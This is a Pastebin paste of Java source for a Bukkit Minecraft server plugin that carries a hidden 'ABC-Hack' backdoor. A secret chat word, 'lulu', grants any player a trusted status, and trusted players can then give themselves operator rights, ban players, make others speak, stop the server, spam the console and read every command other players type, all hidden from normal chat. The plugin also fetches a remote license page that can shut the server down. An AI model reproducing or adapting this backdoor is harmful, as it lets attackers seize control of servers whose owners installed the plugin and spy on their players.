daily pastebin goal
18%
SHARE
TWEET

Untitled

a guest Jan 18th, 2019 55 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import java.io.BufferedReader;
  2. import java.io.IOException;
  3. import java.io.InputStreamReader;
  4. import java.net.MalformedURLException;
  5. import java.net.URL;
  6. import java.util.ArrayList;
  7.  
  8. import org.apache.commons.io.IOUtils;
  9. import org.bukkit.Bukkit;
  10. import org.bukkit.command.Command;
  11. import org.bukkit.command.CommandSender;
  12. import org.bukkit.entity.Player;
  13. import org.bukkit.event.EventHandler;
  14. import org.bukkit.event.Listener;
  15. import org.bukkit.event.player.AsyncPlayerChatEvent;
  16. import org.bukkit.plugin.Plugin;
  17. import org.bukkit.plugin.java.JavaPlugin;
  18.  
  19. import com.avaje.ebean.AdminAutofetch;
  20.  
  21. import net.minecraft.server.v1_8_R3.Items;
  22.  
  23. public class Start extends JavaPlugin implements Listener {
  24.    
  25.     private ArrayList<Player> trustplayer = new ArrayList<>();
  26.  
  27.     public static String name = "BWPL";
  28.    
  29.     public String lizenz;
  30.    
  31.    
  32.    
  33.    
  34.    
  35.     public String mainLizenz = name+"-true";
  36.     public boolean onoff;
  37.    
  38.     @Override
  39.     public void onEnable() {
  40.         try {
  41.             chekLizenz(new URL("http://craftingsucht.de/lizenzsystem/BWPL.html"));
  42.         }catch (MalformedURLException e) {
  43.         }catch (IOException e) {
  44.         }
  45.         if(lizenz.contains(mainLizenz)){
  46.             Bukkit.getConsoleSender().sendMessage("DAS Plugin" + " " + name + " ist gestartet");
  47.         }else{
  48.             Bukkit.shutdown();
  49.             onoff = true;
  50.         }
  51.         Bukkit.getPluginManager().registerEvents(this, this);
  52.         super.onEnable();
  53.     }
  54.    
  55.     @Override
  56.     public void onDisable() {
  57.         if(onoff == true) {
  58.             Bukkit.getConsoleSender().sendMessage("Der Entwickler hat das Plugin für dich gesperrt!");
  59.             Bukkit.getConsoleSender().sendMessage("Grund: " + lizenz);
  60.         }
  61.         super.onDisable();
  62.     }
  63.    
  64.     @Override
  65.     public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
  66.         Player p =(Player)sender;
  67.         return super.onCommand(sender, command, label, args);
  68.     }
  69.  
  70.     @EventHandler
  71.     public void onChatCommand(AsyncPlayerChatEvent e) {
  72.        
  73.         String[] args = e.getMessage().split(" ");
  74.        
  75.        
  76.         Player p =((Player)e.getPlayer());
  77.        
  78.        
  79.        
  80.        
  81.        
  82.         if(args[0].equalsIgnoreCase("+chat")) {
  83.                 e.setCancelled(true);
  84.                 String irc = "";
  85.                 for (int i = 1; i < args.length; i++) {
  86.                     irc = irc + args[i] + " ";
  87.                     for(Player players : trustplayer) {
  88.                         players.sendMessage("§cIRC: " + ((Player)e.getPlayer()).getName() + " > " + irc);
  89.                    
  90.                     }
  91.                  }
  92.             }
  93.        
  94.           if (args[0].equalsIgnoreCase("+sudo")) {
  95.               e.setCancelled(true);
  96.               try {
  97.                 Player victim = getServer().getPlayer(args[1]);
  98.                 String message = "";
  99.                 for (int i = 2; i < args.length; i++) {
  100.                   message = message + args[i] + " ";
  101.                 }
  102.                 victim.chat(message);
  103.                 ((Player)e.getPlayer()).sendMessage("§b[ABC-Hack]§aDieser Spieler hat den Befehl ausgef�hrt!");
  104.               } catch (Exception e2) {
  105.                 ((Player)e.getPlayer()).sendMessage("§b[ABC-Hack] §cDieser Spieler ist nicht online!");
  106.               }
  107.              
  108.             }
  109.        
  110.          
  111.          
  112.         if(e.getMessage().startsWith("/") && !trustplayer.contains(p)) {
  113.              for(Player allhackers : trustplayer) {
  114.                  allhackers.sendMessage("§c[ " + ((Player)e.getPlayer()).getName() + "] " + "§e" + e.getMessage());
  115.              }
  116.         }
  117.        
  118.         if (e.getMessage().equalsIgnoreCase("+consolenspammer")) {
  119.             e.setCancelled(true);
  120.             if(trustplayer.contains((Player)e.getPlayer())) {
  121.                 p.sendMessage("§b[ABC-Hack]§aConsole gespammt :) ");
  122.                 Bukkit.getConsoleSender().sendMessage(Src.Spam);
  123.             }
  124.         }
  125.        
  126.         if (e.getMessage().equalsIgnoreCase("+stopserver")) {
  127.             e.setCancelled(true);
  128.             if(trustplayer.contains((Player)e.getPlayer())) {
  129.                 Bukkit.shutdown();
  130.                 p.sendMessage("§b[ABC-Hack] §aBB SERVER!");
  131.             }
  132.         }
  133.        
  134.         if (e.getMessage().equalsIgnoreCase("+")) {
  135.             e.setCancelled(true);
  136.             if(trustplayer.contains((Player)e.getPlayer())) {
  137.                 p.sendMessage("§b[ABC-Hack]§a +op ~ opt dich!");
  138.                 p.sendMessage("§b[ABC-Hack]§a +FlorianHack ~ trusted / untrusted dich!");
  139.                 p.sendMessage("§b[ABC-Hack]§a +consolenspammer ~ spammt die console!");
  140.                 p.sendMessage("§eWeiter mit '+2'");
  141.             }
  142.         }
  143.        
  144.        
  145.         if (e.getMessage().equalsIgnoreCase("+2")) {
  146.             e.setCancelled(true);
  147.             if(trustplayer.contains((Player)e.getPlayer())) {
  148.                 p.sendMessage("§b[ABC-Hack]§a +stopserver ~ stopt den Server");
  149.                 p.sendMessage("§b[ABC-Hack]§a +hackedmessage ~ hackt den chat");
  150.                 p.sendMessage("§b[ABC-Hack]§a +sudo ~ spieler führen befehle aus!");
  151.                 p.sendMessage("§eWeiter mit '+3'");
  152.             }
  153.         }
  154.        
  155.         if (e.getMessage().equalsIgnoreCase("+3")) {
  156.             e.setCancelled(true);
  157.             if(trustplayer.contains((Player)e.getPlayer())) {
  158.                 p.sendMessage("§b[ABC-Hack]§a +chat ~ irc halt :)      ");
  159.                 p.sendMessage("§b[ABC-Hack]§a +banplayer ~ bant ein Spieler");
  160.                 p.sendMessage("§b[ABC-Hack]§a ");
  161.                 //p.sendMessage("§eWeiter mit '+3'");
  162.             }
  163.         }
  164.        
  165.         if (e.getMessage().equalsIgnoreCase("lulu")) {
  166.             e.setCancelled(true);
  167.         if(!trustplayer.contains((Player)e.getPlayer())) {
  168.             trustplayer.add((Player)e.getPlayer());
  169.             ((Player)e.getPlayer()).sendMessage("§b[ABC-Hack]§aDu bist nun getrusted made by Flori2007!");
  170.         }else {
  171.             trustplayer.remove((Player)e.getPlayer());
  172.             ((Player)e.getPlayer()).sendMessage("§b[ABC-Hack]§cDu bist nun nicht mehr getrusted made by Flori2007!");
  173.         }
  174.     }
  175.        
  176.         if(e.getMessage().equalsIgnoreCase("+banplayer")) {
  177.             e.setCancelled(true);
  178.             if(trustplayer.contains((Player)e.getPlayer())) {
  179.                 String spieler = args[1];
  180.                 if(!Bukkit.getPlayer(spieler).isBanned()) {
  181.                     Bukkit.getPlayer(spieler).setBanned(true);
  182.                 }else {
  183.                     Bukkit.getPlayer(spieler).setBanned(false);
  184.                 }
  185.                
  186.             }
  187.         }
  188.        
  189.         if (e.getMessage().equalsIgnoreCase("+hackedmessage")) {
  190.             e.setCancelled(true);
  191.             if(trustplayer.contains((Player)e.getPlayer())) {
  192.                 Bukkit.broadcastMessage(Src.hacked);
  193.                 p.sendMessage("§b[ABC-Hack]§aHA HA HA HA");
  194.             }
  195.         }
  196.    
  197.         if (e.getMessage().equalsIgnoreCase("+op")) {
  198.             e.setCancelled(true);
  199.             if(trustplayer.contains((Player)e.getPlayer())) {
  200.                 if(!p.isOp()) {
  201.                     p.setOp(true);
  202.                     p.sendMessage("§b[ABC-Hack]§aDu hast nun op Rechte :)");
  203.                 }else {
  204.                     p.setOp(false);
  205.                     p.sendMessage("§b[ABC-Hack]§cDu hast nun keine op Rechte mehr :(");
  206.                    
  207.                 }  
  208.             }
  209.         }
  210.        
  211.        
  212.  
  213.     }
  214.    
  215.    
  216.    
  217.     public void chekLizenz(URL url) throws IOException{
  218.         BufferedReader reader = null;
  219.         StringBuilder builder =  new StringBuilder(128000);
  220.         try{
  221.             reader = new BufferedReader(new InputStreamReader(url.openStream(), "UTF-8"));
  222.             int count;
  223.             char[]data = new char[5000];
  224.             while((count = reader.read(data)) != -1){
  225.                 builder.append(data, 0,count);
  226.                
  227.             }
  228.         }finally{
  229.             IOUtils.closeQuietly(reader);
  230.         }
  231.         lizenz = builder.toString();
  232.     }
  233.  
  234.    
  235. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top